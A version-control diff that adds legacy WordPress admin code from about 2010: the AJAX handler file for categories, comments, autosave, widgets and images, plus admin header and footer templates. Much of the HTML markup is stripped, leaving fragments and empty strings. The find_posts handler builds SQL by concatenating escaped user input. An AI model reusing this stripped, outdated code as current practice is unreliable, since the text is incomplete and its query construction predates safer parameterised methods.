$parent = &get_category( $parent->parent ); + if ( is_wp_error( $parent ) ) + break; + $term_id = $parent->term_id; + } + + ob_start(); + wp_category_checklist( 0, $term_id, $checked_categories, $popular_ids, null, false ); + $data = ob_get_contents(); + ob_end_clean(); + $add = array( + 'what' => 'category', + 'id' => $term_id, + 'data' => str_replace( array("\n", "\t"), '', $data), + 'position' => -1 + ); + } + + ob_start(); + wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('Parent category') ) ); + $sup = ob_get_contents(); + ob_end_clean(); + $add['supplemental'] = array( 'newcat_parent' => $sup ); + + $x = new WP_Ajax_Response( $add ); + $x->send(); + break; +case 'add-link-category' : // On the Fly + check_ajax_referer( $action ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + $names = explode(',', $_POST['newcat']); + $x = new WP_Ajax_Response(); + foreach ( $names as $cat_name ) { + $cat_name = trim($cat_name); + $slug = sanitize_title($cat_name); + if ( '' === $slug ) + continue; + if ( !$cat_id = is_term( $cat_name, 'link_category' ) ) { + $cat_id = wp_insert_term( $cat_name, 'link_category' ); + } + $cat_id = $cat_id['term_id']; + $cat_name = esc_html(stripslashes($cat_name)); + $x->add( array( + 'what' => 'link-category', + 'id' => $cat_id, + 'data' => "", + 'position' => -1 + ) ); + } + $x->send(); + break; +case 'add-cat' : // From Manage->Categories + check_ajax_referer( 'add-category' ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + + if ( '' === trim($_POST['cat_name']) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'cat', + 'id' => new WP_Error( 'cat_name', __('You did not enter a category name.') ) + ) ); + $x->send(); + } + + if ( category_exists( trim( $_POST['cat_name'] ), $_POST['category_parent'] ) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'cat', + 'id' => new WP_Error( 'cat_exists', __('The category you are trying to create already exists.'), array( 'form-field' => 'cat_name' ) ), + ) ); + $x->send(); + } + + $cat = wp_insert_category( $_POST, true ); + + if ( is_wp_error($cat) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'cat', + 'id' => $cat + ) ); + $x->send(); + } + + if ( !$cat || (!$cat = get_category( $cat )) ) + die('0'); + + $level = 0; + $cat_full_name = $cat->name; + $_cat = $cat; + while ( $_cat->parent ) { + $_cat = get_category( $_cat->parent ); + $cat_full_name = $_cat->name . ' — ' . $cat_full_name; + $level++; + } + $cat_full_name = esc_attr($cat_full_name); + + $x = new WP_Ajax_Response( array( + 'what' => 'cat', + 'id' => $cat->term_id, + 'position' => -1, + 'data' => _cat_row( $cat, $level, $cat_full_name ), + 'supplemental' => array('name' => $cat_full_name, 'show-link' => sprintf(__( 'Category %s added' ), "cat-$cat->term_id", $cat_full_name)) + ) ); + $x->send(); + break; +case 'add-link-cat' : // From Blogroll -> Categories + check_ajax_referer( 'add-link-category' ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + + if ( '' === trim($_POST['name']) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'link-cat', + 'id' => new WP_Error( 'name', __('You did not enter a category name.') ) + ) ); + $x->send(); + } + + $r = wp_insert_term($_POST['name'], 'link_category', $_POST ); + if ( is_wp_error( $r ) ) { + $x = new WP_AJAX_Response( array( + 'what' => 'link-cat', + 'id' => $r + ) ); + $x->send(); + } + + extract($r, EXTR_SKIP); + + if ( !$link_cat = link_cat_row( $term_id ) ) + die('0'); + + $x = new WP_Ajax_Response( array( + 'what' => 'link-cat', + 'id' => $term_id, + 'position' => -1, + 'data' => $link_cat + ) ); + $x->send(); + break; +case 'add-tag' : // From Manage->Tags + check_ajax_referer( 'add-tag' ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + + $taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag'; + $tag = wp_insert_term($_POST['tag-name'], $taxonomy, $_POST ); + + if ( !$tag || is_wp_error($tag) || (!$tag = get_term( $tag['term_id'], $taxonomy )) ) { + echo '

' . __('An error has occured. Please reload the page and try again.') . '

'; + exit; + } + + echo _tag_row( $tag, '', $taxonomy ); + exit; + break; +case 'get-tagcloud' : + if ( !current_user_can( 'edit_posts' ) ) + die('-1'); + + if ( isset($_POST['tax']) ) + $taxonomy = sanitize_title($_POST['tax']); + else + die('0'); + + $tags = get_terms( $taxonomy, array( 'number' => 45, 'orderby' => 'count', 'order' => 'DESC' ) ); + + if ( empty( $tags ) ) + die( __('No tags found!') ); + + if ( is_wp_error($tags) ) + die($tags->get_error_message()); + + foreach ( $tags as $key => $tag ) { + $tags[ $key ]->link = '#'; + $tags[ $key ]->id = $tag->term_id; + } + + // We need raw tag names here, so don't filter the output + $return = wp_generate_tag_cloud( $tags, array('filter' => 0) ); + + if ( empty($return) ) + die('0'); + + echo $return; + + exit; + break; +case 'add-comment' : + check_ajax_referer( $action ); + if ( !current_user_can( 'edit_posts' ) ) + die('-1'); + $search = isset($_POST['s']) ? $_POST['s'] : false; + $status = isset($_POST['comment_status']) ? $_POST['comment_status'] : 'all'; + $per_page = isset($_POST['per_page']) ? (int) $_POST['per_page'] + 8 : 28; + $start = isset($_POST['page']) ? ( intval($_POST['page']) * $per_page ) -1 : $per_page - 1; + if ( 1 > $start ) + $start = 27; + + $mode = isset($_POST['mode']) ? $_POST['mode'] : 'detail'; + $p = isset($_POST['p']) ? $_POST['p'] : 0; + $comment_type = isset($_POST['comment_type']) ? $_POST['comment_type'] : ''; + list($comments, $total) = _wp_get_comment_list( $status, $search, $start, 1, $p, $comment_type ); + + if ( get_option('show_avatars') ) + add_filter( 'comment_author', 'floated_admin_avatar' ); + + if ( !$comments ) + die('1'); + $x = new WP_Ajax_Response(); + foreach ( (array) $comments as $comment ) { + get_comment( $comment ); + ob_start(); + _wp_comment_row( $comment->comment_ID, $mode, $status, true, true ); + $comment_list_item = ob_get_contents(); + ob_end_clean(); + $x->add( array( + 'what' => 'comment', + 'id' => $comment->comment_ID, + 'data' => $comment_list_item + ) ); + } + $x->send(); + break; +case 'get-comments' : + check_ajax_referer( $action ); + + $post_ID = (int) $_POST['post_ID']; + if ( !current_user_can( 'edit_post', $post_ID ) ) + die('-1'); + + $start = isset($_POST['start']) ? intval($_POST['start']) : 0; + $num = isset($_POST['num']) ? intval($_POST['num']) : 10; + + list($comments, $total) = _wp_get_comment_list( false, false, $start, $num, $post_ID ); + + if ( !$comments ) + die('1'); + + $comment_list_item = ''; + $x = new WP_Ajax_Response(); + foreach ( (array) $comments as $comment ) { + get_comment( $comment ); + ob_start(); + _wp_comment_row( $comment->comment_ID, 'single', false, false ); + $comment_list_item .= ob_get_contents(); + ob_end_clean(); + } + $x->add( array( + 'what' => 'comments', + 'data' => $comment_list_item + ) ); + $x->send(); + break; +case 'replyto-comment' : + check_ajax_referer( $action ); + + $comment_post_ID = (int) $_POST['comment_post_ID']; + if ( !current_user_can( 'edit_post', $comment_post_ID ) ) + die('-1'); + + $status = $wpdb->get_var( $wpdb->prepare("SELECT post_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) ); + + if ( empty($status) ) + die('1'); + elseif ( in_array($status, array('draft', 'pending', 'trash') ) ) + die( __('Error: you are replying to a comment on a draft post.') ); + + $user = wp_get_current_user(); + if ( $user->ID ) { + $comment_author = $wpdb->escape($user->display_name); + $comment_author_email = $wpdb->escape($user->user_email); + $comment_author_url = $wpdb->escape($user->user_url); + $comment_content = trim($_POST['content']); + if ( current_user_can('unfiltered_html') ) { + if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) { + kses_remove_filters(); // start with a clean slate + kses_init_filters(); // set up the filters + } + } + } else { + die( __('Sorry, you must be logged in to reply to a comment.') ); + } + + if ( '' == $comment_content ) + die( __('Error: please type a comment.') ); + + $comment_parent = absint($_POST['comment_ID']); + $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID'); + + $comment_id = wp_new_comment( $commentdata ); + $comment = get_comment($comment_id); + if ( ! $comment ) die('1'); + + $modes = array( 'single', 'detail', 'dashboard' ); + $mode = isset($_POST['mode']) && in_array( $_POST['mode'], $modes ) ? $_POST['mode'] : 'detail'; + $position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1'; + $checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0; + + if ( get_option('show_avatars') && 'single' != $mode ) + add_filter( 'comment_author', 'floated_admin_avatar' ); + + $x = new WP_Ajax_Response(); + + ob_start(); + if ( 'dashboard' == $mode ) { + require_once( ABSPATH . 'wp-admin/includes/dashboard.php' ); + _wp_dashboard_recent_comments_row( $comment, false ); + } else { + _wp_comment_row( $comment->comment_ID, $mode, false, $checkbox ); + } + $comment_list_item = ob_get_contents(); + ob_end_clean(); + + $x->add( array( + 'what' => 'comment', + 'id' => $comment->comment_ID, + 'data' => $comment_list_item, + 'position' => $position + )); + + $x->send(); + break; +case 'edit-comment' : + check_ajax_referer( 'replyto-comment' ); + + $comment_post_ID = (int) $_POST['comment_post_ID']; + if ( ! current_user_can( 'edit_post', $comment_post_ID ) ) + die('-1'); + + if ( '' == $_POST['content'] ) + die( __('Error: please type a comment.') ); + + $comment_id = (int) $_POST['comment_ID']; + $_POST['comment_status'] = $_POST['status']; + edit_comment(); + + $mode = ( isset($_POST['mode']) && 'single' == $_POST['mode'] ) ? 'single' : 'detail'; + $position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1'; + $checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0; + $comments_listing = isset($_POST['comments_listing']) ? $_POST['comments_listing'] : ''; + + if ( get_option('show_avatars') && 'single' != $mode ) + add_filter( 'comment_author', 'floated_admin_avatar' ); + + $x = new WP_Ajax_Response(); + + ob_start(); + _wp_comment_row( $comment_id, $mode, $comments_listing, $checkbox ); + $comment_list_item = ob_get_contents(); + ob_end_clean(); + + $x->add( array( + 'what' => 'edit_comment', + 'id' => $comment->comment_ID, + 'data' => $comment_list_item, + 'position' => $position + )); + + $x->send(); + break; +case 'add-meta' : + check_ajax_referer( 'add-meta' ); + $c = 0; + $pid = (int) $_POST['post_id']; + if ( isset($_POST['metakeyselect']) || isset($_POST['metakeyinput']) ) { + if ( !current_user_can( 'edit_post', $pid ) ) + die('-1'); + if ( isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput']) ) + die('1'); + if ( $pid < 0 ) { + $now = current_time('timestamp', 1); + if ( $pid = wp_insert_post( array( + 'post_title' => sprintf('Draft created on %s at %s', date(get_option('date_format'), $now), date(get_option('time_format'), $now)) + ) ) ) { + if ( is_wp_error( $pid ) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'meta', + 'data' => $pid + ) ); + $x->send(); + } + if ( !$mid = add_meta( $pid ) ) + die(__('Please provide a custom field value.')); + } else { + die('0'); + } + } else if ( !$mid = add_meta( $pid ) ) { + die(__('Please provide a custom field value.')); + } + + $meta = get_post_meta_by_id( $mid ); + $pid = (int) $meta->post_id; + $meta = get_object_vars( $meta ); + $x = new WP_Ajax_Response( array( + 'what' => 'meta', + 'id' => $mid, + 'data' => _list_meta_row( $meta, $c ), + 'position' => 1, + 'supplemental' => array('postid' => $pid) + ) ); + } else { + $mid = (int) array_pop(array_keys($_POST['meta'])); + $key = $_POST['meta'][$mid]['key']; + $value = $_POST['meta'][$mid]['value']; + if ( !$meta = get_post_meta_by_id( $mid ) ) + die('0'); // if meta doesn't exist + if ( !current_user_can( 'edit_post', $meta->post_id ) ) + die('-1'); + if ( $meta->meta_value != stripslashes($value) ) { + if ( !$u = update_meta( $mid, $key, $value ) ) + die('0'); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems). + } + + $key = stripslashes($key); + $value = stripslashes($value); + $x = new WP_Ajax_Response( array( + 'what' => 'meta', + 'id' => $mid, 'old_id' => $mid, + 'data' => _list_meta_row( array( + 'meta_key' => $key, + 'meta_value' => $value, + 'meta_id' => $mid + ), $c ), + 'position' => 0, + 'supplemental' => array('postid' => $meta->post_id) + ) ); + } + $x->send(); + break; +case 'add-user' : + check_ajax_referer( $action ); + if ( !current_user_can('create_users') ) + die('-1'); + require_once(ABSPATH . WPINC . '/registration.php'); + if ( !$user_id = add_user() ) + die('0'); + elseif ( is_wp_error( $user_id ) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'user', + 'id' => $user_id + ) ); + $x->send(); + } + $user_object = new WP_User( $user_id ); + + $x = new WP_Ajax_Response( array( + 'what' => 'user', + 'id' => $user_id, + 'data' => user_row( $user_object, '', $user_object->roles[0] ), + 'supplemental' => array( + 'show-link' => sprintf(__( 'User %s added' ), "user-$user_id", $user_object->user_login), + 'role' => $user_object->roles[0] + ) + ) ); + $x->send(); + break; +case 'autosave' : // The name of this action is hardcoded in edit_post() + define( 'DOING_AUTOSAVE', true ); + + $nonce_age = check_ajax_referer( 'autosave', 'autosavenonce' ); + global $current_user; + + $_POST['post_category'] = explode(",", $_POST['catslist']); + if($_POST['post_type'] == 'page' || empty($_POST['post_category'])) + unset($_POST['post_category']); + + $do_autosave = (bool) $_POST['autosave']; + $do_lock = true; + + $data = ''; + /* translators: draft saved date format, see http://php.net/date */ + $draft_saved_date_format = __('g:i:s a'); + $message = sprintf( __('Draft Saved at %s.'), date_i18n( $draft_saved_date_format ) ); + + $supplemental = array(); + if ( isset($login_grace_period) ) + $supplemental['session_expired'] = add_query_arg( 'interim-login', 1, wp_login_url() ); + + $id = $revision_id = 0; + if($_POST['post_ID'] < 0) { + $_POST['post_status'] = 'draft'; + $_POST['temp_ID'] = $_POST['post_ID']; + if ( $do_autosave ) { + $id = wp_write_post(); + $data = $message; + } + } else { + $post_ID = (int) $_POST['post_ID']; + $_POST['ID'] = $post_ID; + $post = get_post($post_ID); + + if ( $last = wp_check_post_lock( $post->ID ) ) { + $do_autosave = $do_lock = false; + + $last_user = get_userdata( $last ); + $last_user_name = $last_user ? $last_user->display_name : __( 'Someone' ); + $data = new WP_Error( 'locked', sprintf( + $_POST['post_type'] == 'page' ? __( 'Autosave disabled: %s is currently editing this page.' ) : __( 'Autosave disabled: %s is currently editing this post.' ), + esc_html( $last_user_name ) + ) ); + + $supplemental['disable_autosave'] = 'disable'; + } + + if ( 'page' == $post->post_type ) { + if ( !current_user_can('edit_page', $post_ID) ) + die(__('You are not allowed to edit this page.')); + } else { + if ( !current_user_can('edit_post', $post_ID) ) + die(__('You are not allowed to edit this post.')); + } + + if ( $do_autosave ) { + // Drafts are just overwritten by autosave + if ( 'draft' == $post->post_status ) { + $id = edit_post(); + } else { // Non drafts are not overwritten. The autosave is stored in a special post revision. + $revision_id = wp_create_post_autosave( $post->ID ); + if ( is_wp_error($revision_id) ) + $id = $revision_id; + else + $id = $post->ID; + } + $data = $message; + } else { + $id = $post->ID; + } + } + + if ( $do_lock && $id && is_numeric($id) ) + wp_set_post_lock( $id ); + + if ( $nonce_age == 2 ) { + $supplemental['replace-autosavenonce'] = wp_create_nonce('autosave'); + $supplemental['replace-getpermalinknonce'] = wp_create_nonce('getpermalink'); + $supplemental['replace-samplepermalinknonce'] = wp_create_nonce('samplepermalink'); + $supplemental['replace-closedpostboxesnonce'] = wp_create_nonce('closedpostboxes'); + if ( $id ) { + if ( $_POST['post_type'] == 'post' ) + $supplemental['replace-_wpnonce'] = wp_create_nonce('update-post_' . $id); + elseif ( $_POST['post_type'] == 'page' ) + $supplemental['replace-_wpnonce'] = wp_create_nonce('update-page_' . $id); + } + } + + $x = new WP_Ajax_Response( array( + 'what' => 'autosave', + 'id' => $id, + 'data' => $id ? $data : '', + 'supplemental' => $supplemental + ) ); + $x->send(); + break; +case 'autosave-generate-nonces' : + check_ajax_referer( 'autosave', 'autosavenonce' ); + $ID = (int) $_POST['post_ID']; + $post_type = ( 'page' == $_POST['post_type'] ) ? 'page' : 'post'; + if ( current_user_can( "edit_{$post_type}", $ID ) ) + die( json_encode( array( 'updateNonce' => wp_create_nonce( "update-{$post_type}_{$ID}" ), 'deleteURL' => str_replace( '&', '&', wp_nonce_url( admin_url( $post_type . '.php?action=trash&post=' . $ID ), "trash-{$post_type}_{$ID}" ) ) ) ) ); + do_action('autosave_generate_nonces'); + die('0'); +break; +case 'closed-postboxes' : + check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' ); + $closed = isset( $_POST['closed'] ) ? $_POST['closed'] : ''; + $closed = explode( ',', $_POST['closed'] ); + $hidden = isset( $_POST['hidden'] ) ? $_POST['hidden'] : ''; + $hidden = explode( ',', $_POST['hidden'] ); + $page = isset( $_POST['page'] ) ? $_POST['page'] : ''; + + if ( !preg_match( '/^[a-z_-]+$/', $page ) ) + die('-1'); + + if ( ! $user = wp_get_current_user() ) + die('-1'); + + if ( is_array($closed) ) + update_usermeta($user->ID, 'closedpostboxes_'.$page, $closed); + + if ( is_array($hidden) ) { + $hidden = array_diff( $hidden, array('submitdiv', 'linksubmitdiv') ); // postboxes that are always shown + update_usermeta($user->ID, 'meta-box-hidden_'.$page, $hidden); + } + + die('1'); + break; +case 'hidden-columns' : + check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' ); + $hidden = isset( $_POST['hidden'] ) ? $_POST['hidden'] : ''; + $hidden = explode( ',', $_POST['hidden'] ); + $page = isset( $_POST['page'] ) ? $_POST['page'] : ''; + + if ( !preg_match( '/^[a-z_-]+$/', $page ) ) + die('-1'); + + if ( ! $user = wp_get_current_user() ) + die('-1'); + + if ( is_array($hidden) ) + update_usermeta($user->ID, "manage-$page-columns-hidden", $hidden); + + die('1'); + break; +case 'meta-box-order': + check_ajax_referer( 'meta-box-order' ); + $order = isset( $_POST['order'] ) ? (array) $_POST['order'] : false; + $page_columns = isset( $_POST['page_columns'] ) ? (int) $_POST['page_columns'] : 0; + $page = isset( $_POST['page'] ) ? $_POST['page'] : ''; + + if ( !preg_match( '/^[a-z_-]+$/', $page ) ) + die('-1'); + + if ( ! $user = wp_get_current_user() ) + die('-1'); + + if ( $order ) + update_user_option($user->ID, "meta-box-order_$page", $order); + + if ( $page_columns ) + update_usermeta($user->ID, "screen_layout_$page", $page_columns); + + die('1'); + break; +case 'get-permalink': + check_ajax_referer( 'getpermalink', 'getpermalinknonce' ); + $post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0; + die(add_query_arg(array('preview' => 'true'), get_permalink($post_id))); +break; +case 'sample-permalink': + check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' ); + $post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0; + $title = isset($_POST['new_title'])? $_POST['new_title'] : ''; + $slug = isset($_POST['new_slug'])? $_POST['new_slug'] : ''; + die(get_sample_permalink_html($post_id, $title, $slug)); +break; +case 'inline-save': + check_ajax_referer( 'inlineeditnonce', '_inline_edit' ); + + if ( ! isset($_POST['post_ID']) || ! ( $post_ID = (int) $_POST['post_ID'] ) ) + exit; + + if ( 'page' == $_POST['post_type'] ) { + if ( ! current_user_can( 'edit_page', $post_ID ) ) + die( __('You are not allowed to edit this page.') ); + } else { + if ( ! current_user_can( 'edit_post', $post_ID ) ) + die( __('You are not allowed to edit this post.') ); + } + + if ( $last = wp_check_post_lock( $post_ID ) ) { + $last_user = get_userdata( $last ); + $last_user_name = $last_user ? $last_user->display_name : __( 'Someone' ); + printf( $_POST['post_type'] == 'page' ? __( 'Saving is disabled: %s is currently editing this page.' ) : __( 'Saving is disabled: %s is currently editing this post.' ), esc_html( $last_user_name ) ); + exit; + } + + $data = &$_POST; + + $post = get_post( $post_ID, ARRAY_A ); + $post = add_magic_quotes($post); //since it is from db + + $data['content'] = $post['post_content']; + $data['excerpt'] = $post['post_excerpt']; + + // rename + $data['user_ID'] = $GLOBALS['user_ID']; + + if ( isset($data['post_parent']) ) + $data['parent_id'] = $data['post_parent']; + + // status + if ( isset($data['keep_private']) && 'private' == $data['keep_private'] ) + $data['post_status'] = 'private'; + else + $data['post_status'] = $data['_status']; + + if ( empty($data['comment_status']) ) + $data['comment_status'] = 'closed'; + if ( empty($data['ping_status']) ) + $data['ping_status'] = 'closed'; + + // update the post + edit_post(); + + $post = array(); + if ( 'page' == $_POST['post_type'] ) { + $post[] = get_post($_POST['post_ID']); + page_rows($post); + } elseif ( 'post' == $_POST['post_type'] ) { + $mode = $_POST['post_view']; + $post[] = get_post($_POST['post_ID']); + post_rows($post); + } + + exit; + break; +case 'inline-save-tax': + check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' ); + + if ( ! current_user_can('manage_categories') ) + die( __('Cheatin’ uh?') ); + + if ( ! isset($_POST['tax_ID']) || ! ( $id = (int) $_POST['tax_ID'] ) ) + die(-1); + + switch ($_POST['tax_type']) { + case 'cat' : + $data = array(); + $data['cat_ID'] = $id; + $data['cat_name'] = $_POST['name']; + $data['category_nicename'] = $_POST['slug']; + if ( isset($_POST['parent']) && (int) $_POST['parent'] > 0 ) + $data['category_parent'] = $_POST['parent']; + + $cat = get_category($id, ARRAY_A); + $data['category_description'] = $cat['category_description']; + + $updated = wp_update_category($data); + + if ( $updated && !is_wp_error($updated) ) + echo _cat_row( $updated, 0 ); + else + die( __('Category not updated.') ); + + break; + case 'link-cat' : + $updated = wp_update_term($id, 'link_category', $_POST); + + if ( $updated && !is_wp_error($updated) ) + echo link_cat_row($updated['term_id']); + else + die( __('Category not updated.') ); + + break; + case 'tag' : + $taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag'; + + $tag = get_term( $id, $taxonomy ); + $_POST['description'] = $tag->description; + + $updated = wp_update_term($id, $taxonomy, $_POST); + if ( $updated && !is_wp_error($updated) ) { + $tag = get_term( $updated['term_id'], $taxonomy ); + if ( !$tag || is_wp_error( $tag ) ) + die( __('Tag not updated.') ); + + echo _tag_row($tag, '', $taxonomy); + } else { + die( __('Tag not updated.') ); + } + + break; + } + + exit; + break; +case 'find_posts': + check_ajax_referer( 'find-posts' ); + + if ( empty($_POST['ps']) ) + exit; + + $what = isset($_POST['pages']) ? 'page' : 'post'; + $s = stripslashes($_POST['ps']); + preg_match_all('/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $s, $matches); + $search_terms = array_map('_search_terms_tidy', $matches[0]); + + $searchand = $search = ''; + foreach ( (array) $search_terms as $term ) { + $term = addslashes_gpc($term); + $search .= "{$searchand}(($wpdb->posts.post_title LIKE '%{$term}%') OR ($wpdb->posts.post_content LIKE '%{$term}%'))"; + $searchand = ' AND '; + } + $term = $wpdb->escape($s); + if ( count($search_terms) > 1 && $search_terms[0] != $s ) + $search .= " OR ($wpdb->posts.post_title LIKE '%{$term}%') OR ($wpdb->posts.post_content LIKE '%{$term}%')"; + + $posts = $wpdb->get_results( "SELECT ID, post_title, post_status, post_date FROM $wpdb->posts WHERE post_type = '$what' AND post_status IN ('draft', 'publish') AND ($search) ORDER BY post_date_gmt DESC LIMIT 50" ); + + if ( ! $posts ) + exit( __('No posts found.') ); + + $html = ''; + foreach ( $posts as $post ) { + + switch ( $post->post_status ) { + case 'publish' : + case 'private' : + $stat = __('Published'); + break; + case 'future' : + $stat = __('Scheduled'); + break; + case 'pending' : + $stat = __('Pending Review'); + break; + case 'draft' : + $stat = __('Draft'); + break; + } + + if ( '0000-00-00 00:00:00' == $post->post_date ) { + $time = ''; + } else { + /* translators: date format in table columns, see http://php.net/date */ + $time = mysql2date(__('Y/m/d'), $post->post_date); + } + + $html .= ''; + $html .= ''."\n\n"; + } + $html .= '

'.__('Title').''.__('Date').''.__('Status').'
'.esc_html( $time ).''.esc_html( $stat ).'
'; + + $x = new WP_Ajax_Response(); + $x->add( array( + 'what' => $what, + 'data' => $html + )); + $x->send(); + + break; +case 'lj-importer' : + check_ajax_referer( 'lj-api-import' ); + if ( !current_user_can( 'publish_posts' ) ) + die('-1'); + if ( empty( $_POST['step'] ) ) + die( '-1' ); + define('WP_IMPORTING', true); + include( ABSPATH . 'wp-admin/import/livejournal.php' ); + $result = $lj_api_import->{ 'step' . ( (int) $_POST['step'] ) }(); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + die; + break; +case 'widgets-order' : + check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' ); + + if ( !current_user_can('switch_themes') ) + die('-1'); + + unset( $_POST['savewidgets'], $_POST['action'] ); + + // save widgets order for all sidebars + if ( is_array($_POST['sidebars']) ) { + $sidebars = array(); + foreach ( $_POST['sidebars'] as $key => $val ) { + $sb = array(); + if ( !empty($val) ) { + $val = explode(',', $val); + foreach ( $val as $k => $v ) { + if ( strpos($v, 'widget-') === false ) + continue; + + $sb[$k] = substr($v, strpos($v, '_') + 1); + } + } + $sidebars[$key] = $sb; + } + wp_set_sidebars_widgets($sidebars); + die('1'); + } + + die('-1'); + break; +case 'save-widget' : + check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' ); + + if ( !current_user_can('switch_themes') || !isset($_POST['id_base']) ) + die('-1'); + + unset( $_POST['savewidgets'], $_POST['action'] ); + + do_action('load-widgets.php'); + do_action('widgets.php'); + do_action('sidebar_admin_setup'); + + $id_base = $_POST['id_base']; + $widget_id = $_POST['widget-id']; + $sidebar_id = $_POST['sidebar']; + $multi_number = !empty($_POST['multi_number']) ? (int) $_POST['multi_number'] : 0; + $settings = isset($_POST['widget-' . $id_base]) && is_array($_POST['widget-' . $id_base]) ? $_POST['widget-' . $id_base] : false; + $error = '

' . __('An error has occured. Please reload the page and try again.') . '

'; + + $sidebars = wp_get_sidebars_widgets(); + $sidebar = isset($sidebars[$sidebar_id]) ? $sidebars[$sidebar_id] : array(); + + // delete + if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) { + + if ( !isset($wp_registered_widgets[$widget_id]) ) + die($error); + + $sidebar = array_diff( $sidebar, array($widget_id) ); + $_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1'); + } elseif ( $settings && preg_match( '/__i__|%i%/', key($settings) ) ) { + if ( !$multi_number ) + die($error); + + $_POST['widget-' . $id_base] = array( $multi_number => array_shift($settings) ); + $widget_id = $id_base . '-' . $multi_number; + $sidebar[] = $widget_id; + } + $_POST['widget-id'] = $sidebar; + + foreach ( (array) $wp_registered_widget_updates as $name => $control ) { + + if ( $name == $id_base ) { + if ( !is_callable( $control['callback'] ) ) + continue; + + ob_start(); + call_user_func_array( $control['callback'], $control['params'] ); + ob_end_clean(); + break; + } + } + + if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) { + $sidebars[$sidebar_id] = $sidebar; + wp_set_sidebars_widgets($sidebars); + echo "deleted:$widget_id"; + die(); + } + + if ( !empty($_POST['add_new']) ) + die(); + + if ( $form = $wp_registered_widget_controls[$widget_id] ) + call_user_func_array( $form['callback'], $form['params'] ); + + die(); + break; +case 'image-editor': + $attachment_id = intval($_POST['postid']); + if ( empty($attachment_id) || !current_user_can('edit_post', $attachment_id) ) + die('-1'); + + check_ajax_referer( "image_editor-$attachment_id" ); + include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); + + $msg = false; + switch ( $_POST['do'] ) { + case 'save' : + $msg = wp_save_image($attachment_id); + $msg = json_encode($msg); + die($msg); + break; + case 'scale' : + $msg = wp_save_image($attachment_id); + break; + case 'restore' : + $msg = wp_restore_image($attachment_id); + break; + } + + wp_image_editor($attachment_id, $msg); + die(); + break; +case 'set-post-thumbnail': + $post_id = intval( $_POST['post_id'] ); + if ( !current_user_can( 'edit_post', $post_id ) ) + die( '-1' ); + $thumbnail_id = intval( $_POST['thumbnail_id'] ); + + if ( $thumbnail_id == '-1' ) { + delete_post_meta( $post_id, '_thumbnail_id' ); + die( _wp_post_thumbnail_html() ); + } + + if ( $thumbnail_id && get_post( $thumbnail_id ) ) { + $thumbnail_html = wp_get_attachment_image( $thumbnail_id, 'thumbnail' ); + if ( !empty( $thumbnail_html ) ) { + update_post_meta( $post_id, '_thumbnail_id', $thumbnail_id ); + die( _wp_post_thumbnail_html( $thumbnail_id ) ); + } + } + die( '0' ); +default : + do_action( 'wp_ajax_' . $_POST['action'] ); + die('0'); + break; +endswitch; +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/admin-footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/admin-footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,44 @@ + + +
+
+
+ + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/admin-functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/admin-functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,16 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/admin-header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/admin-header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,128 @@ + + + > + + +<?php echo $title; ?> ‹ <?php bloginfo('name') ?> — WordPress + + + + + + +"> + + +
+
+ + +
+ + +
